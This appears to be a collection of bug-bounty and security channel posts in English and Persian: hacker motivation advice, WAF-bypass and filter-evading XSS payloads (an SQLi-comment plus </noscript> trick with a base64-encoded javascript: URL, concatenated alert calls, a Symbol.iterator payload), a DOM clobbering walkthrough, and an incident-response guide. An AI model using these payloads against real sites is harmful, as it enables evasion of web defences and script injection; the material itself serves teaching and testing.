Motivation comes and goes, and ultimately you can't rely on it if you want to achieve mastery in your craft. Come up with a habit ("I will hack for two hours every morning") or work on something else if you feel tired. I often get tired of manual testing, and I switch to writing code for a new tool or something similar, just to change the pace of work. Many hackers suffer from ADHD, and it can be difficult for them to focus on one specific thing; I believe that if you are doing anything, even listening to a hacker podcast, you are already doing well. Step by step, meter by meter. Manage your energy properly, and you will see that making progress becomes easier.


انگیزه می آید و می رود و در نهایت اگر بخواهید در حرفه خود به تسلط برسید نمی توانید به آن تکیه کنید. یک عادت داشته باشید ("من هر روز صبح دو ساعت هک خواهم کرد") یا اگر احساس خستگی کردید روی چیز دیگری کار کنید. من اغلب از تست دستی خسته می شوم و فقط برای تغییر سرعت کار، به نوشتن کد برای یک ابزار جدید یا چیزی شبیه به آن تغییر می کنم. بسیاری از هکرها از ADHD رنج می برند و تمرکز روی یک چیز خاص برای آنها دشوار است. من معتقدم که اگر هر کاری انجام می دهید، حتی به پادکست هکر گوش می دهید، در حال حاضر خوب انجام می دهید. گام به گام، متر به متر. انرژی خود را به درستی مدیریت کنید، خواهید دید که پیشرفت آسان تر می شود.

Interesting way to bypass WAF when you need to use the </noscript> tag:
Inspired by: https://x.com/_0x999?s=21

meydi" or 1=/*</noscript>*/ -- - <XSS>

The WAF first checks for SQLi, so ignore the comment section.

e.g:

meydi" or 1=/*</noscript>*/ -- - x=/*<details open=\" ontoggle=x=atob;z=x`amF2YXNjcmlwdDphbGVydChvcmlnaW4p`;location=z */>

https://x.com/neotrony/status/1931790830336884973?s=2

This is how DOM clobbering works.

When you create an element with an id, the browser automatically creates a global variable for that ID:

<a id="foo"></a>

Now

window.foo

points to that single element.

But when you create multiple elements with the same id:

<a id="foo"></a>
<a id="foo"></a>

Now

window.foo

becomes an HTMLCollection, not a single element.

Add a name attribute:

<a id="foo" name="bar" href="..."></a>

And

window.foo.bar

now points to that element (works in Chromium/WebKit browsers, but not Firefox).

Now combine that with a common JS pattern like:

var someObject = window.someObject || {};

This is meant to provide a fallback if the global doesn't exist. However, if

window.someObject

has been clobbered by injected HTML, the fallback silently trusts a DOM object instead of a real JS object.

Now imagine this JS logic:

let imgSrc = someObject.avatar;

If an attacker clobbered

someObject.avatar

with:

<a id=someObject></a>
<a id=someObject name=avatar href='cid:"onerror=alert(1)//'></a>

If HTML is set via innerHTML or similar, then this could render as:

<img src="cid:" onerror="alert(1)//"">

‏وقتی کانفیگی باهاش وصلی رو به چند نفر دیگه هم میدی
@majic_ir

alert XSS PoC with limits

1) without spaces and quotes

parent[/al/.source+/ert/.source](1)

2) without spaces, quotes, + sign

parent[/al/.source.concat(/ert/.source)](2)

♦️Six step incedent response process

🐍-سلام‌امروز قراره راجب ۶ تا مرحله و فرایندی که باید طی بشه تا به یه حادثه امنیتی  پاسخ داده بشه صحبت بکنم.

خب اول از همه بهتره بدونیم که پاسخ به یه رخداد امنیتی یعنی چی؟
پاسخ به یه رخداد امنیتی یعنی مجموعه ای از فرایند ها و رویه ها که ما انجام میدیم تا باعث
Identification incident
containment  incident
Eradication incident
Recovery
و درنهایت
Post-incident-analysis

اون حادثه امنیتی بشه .
برای مثال ؛

فرض کنید یه گزارشی از تیم نتورک دریافت کردید مبنی بر infect شدن یه سیستم توسط یه malwear  یا تیم امنیتی تشخیص داده که dns tunneling صورت گرفته و درحال exfilter data هستش خب 🔥
وظیفه تیم incident respons  اینه که به اون incident رخ داده پاسخ بده و دراین شرایط پاسخ به یه رخداد به شکل زیر ادامه پیدا میکنه؛


1.آمادگی ( preparation):
این مرحله قبل از وقوع یه رخداد امنیتی هستش
ما باید تیم رو اماده کنیم ، وظیفه هر شخص توی تیم مشخص بشه ، چک لیست داشته باشیم ، از قبل مانور ها و تمرین هایی کرده باشه تیم،
و از همه مهم تر از قبل باید ابزار هامون اماده باشه

و یه نکته ما بلخره باید از یه جایی متوجه بشم که یه incident رخ داده ما باید تمام اون ابزار های ditection و نیرو( soc ) رو شبکمون داشته باشه تا به بهترین شکل یه رخداد امنیتی را تشخیص بدیم

2. شناسایی (Identification):
توی این مرحله ما اول باید برسی بکنیم اون گزارش false positive یا true positive که با بررسی لاگ‌ها، ترافیک شبکه، و سیستم آلوده برای تأیید حمله
و بعد از اون باید scoping تعیین دقیق محدوده‌ی رخداد صورت بگیره مثال؛
چقدر حادثه بزرگ بوده تا کجا ها پیش رفته و الان درچه مرحله ای هست ( طبق فریم ورک mitr&Attacks ) و چه سیستم های infect شدن و کدوما نشدن کدوما اولیت پاسخ دهی بالایی دارن ، تخمین خسارت و.. که باعث جمع اوری data and evidence ها میشه که بهتر بشناسیم فعالیت ها و رفتار های مخرب رو

3. مهار (Containment):
قرنطینه کردن سیستم آلوده، قطع ارتباط با اینترنت یا DNS خارجی برای جلوگیری از نشت بیشتر داده‌ها ، درواقع ما توی این مرحله تاثیر حمله رو کم میکنیم تا باعث جلوگیری از پیشرفت هکر توی شبکه بشه
که به دوصورت
Short term ;
محار کوتاه مدت مثل  قط ارتباط - مسدود کردن - محدود کردن - که توی کوتاه مدت جلوگیری کنیم از گسترش
Long term ;
محار بلند مدت مثل پچ کردن بازنگری و..

4. پاک‌سازی (Eradication):
حذف بدافزار، بستن آسیب‌پذیری‌ها، و حذف مسیرهای ارتباطی مهاجم مثل دامنه‌های مخرب اگه یوزری ساخته پاک بشه اگه بکدوری هست از بین بره
درواقع remediation هدف بازیابی کامل سیستم و رفع ریشه ای اون حادثه و اسیب پذیری هستش


5. بازیابی (Recovery):
بازگرداندن سیستم به وضعیت پایدار، بررسی کامل برای اطمینان از حذف تهدید
نکته ؛ بکاپ بازگردانده شده برسی بشه که الوده نباشه

6. تحلیل نهایی (Lessons Learned):
مستندسازی حادثه، بررسی نقاط ضعف، و تقویت سیستم‌ها برای جلوگیری از رخدادهای مشابه در آینده



ممنون میشم اگه موردی موندش داخل کامنت ها بهم بگین

چنل تلگرام؛
https://news.1rj.ru/str/ViperNull

I was writing a "Security in JavaScript" book, that I explained how you can make an advance XSS payload like this one:

[...{[Symbol.iterator]:\u0061lert.bind(null,'catfather')}]‍‍‍

https://x.com/hoseinshurabi/status/1941905813041201247